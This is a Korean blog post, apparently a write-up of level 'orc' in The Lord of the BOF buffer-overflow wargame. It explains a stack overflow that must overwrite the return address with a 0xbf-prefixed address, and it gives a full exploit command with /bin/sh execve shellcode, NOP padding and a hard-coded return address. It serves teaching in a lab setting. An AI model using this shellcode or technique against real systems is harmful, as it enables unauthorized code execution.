본문 바로가기
Wargame/The Lord of the BOF

LOB - 04 orc

by morae23 2019. 2. 1.

[orc - egghunter]

goblin : hackers proof


goblin으로 로그인하면 아래와 같은 orc 코드를 볼 수 있다.




먼저 environ은 환경변수 array의 포인터이다.


man environ


자세한 설명은 man 페이지를 참고하면 된다.



다시 코드를 보면, 환경변수를 초기화하고 argv[1][47]의 값을 확인하는 것을 볼 수 있다.

따라서 이번 문제에서는 'LOB - 03 goblin - (2)환경 변수 이용'과 같이 풀 수는 없을 것으로 보인다.


버퍼와 sfp까지 총 44바이트의 공간에 쉘코드를 넣을 수 있고 eip에는 0xbf로 시작하는 주소를 넣어주면 된다.

먼저 아래와 같이 실행을 해보았다.


./aaa `python -c 'print "A"*47 + "\xbf"'`


gdb로 core 파일을 열어 보면 eip가 0xbf414141로 잘 바뀐 것을 볼 수 있다.




우리가 입력한 값인 0x41이 시작되는 주소가 0xbffffd99인 것을 확인할 수 있다.

따라서 eip에 0xbffffd99를 넣어주고, A 대신 쉘코드를 입력한다.


쉘코드 뒤의 남은 공간(44 - 쉘코드 크기)은 0x90으로 채운다.



./orc `python -c 'print "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*8 + "\x99\xfd\xff\xbf"'`


그 결과 아래와 같이 orc의 password를 얻을 수 있다.







'Wargame > The Lord of the BOF' 카테고리의 다른 글

LOB - 03 goblin - (2)환경 변수 이용  (0) 2019.02.01
LOB - 03 goblin  (0) 2019.02.01
LOB - 02 cobolt  (0) 2019.02.01
LOB - 01 gremlin - (3)마무리  (0) 2019.02.01
LOB - 01 gremlin - (2.2)쉘코드 수정  (0) 2019.02.01

댓글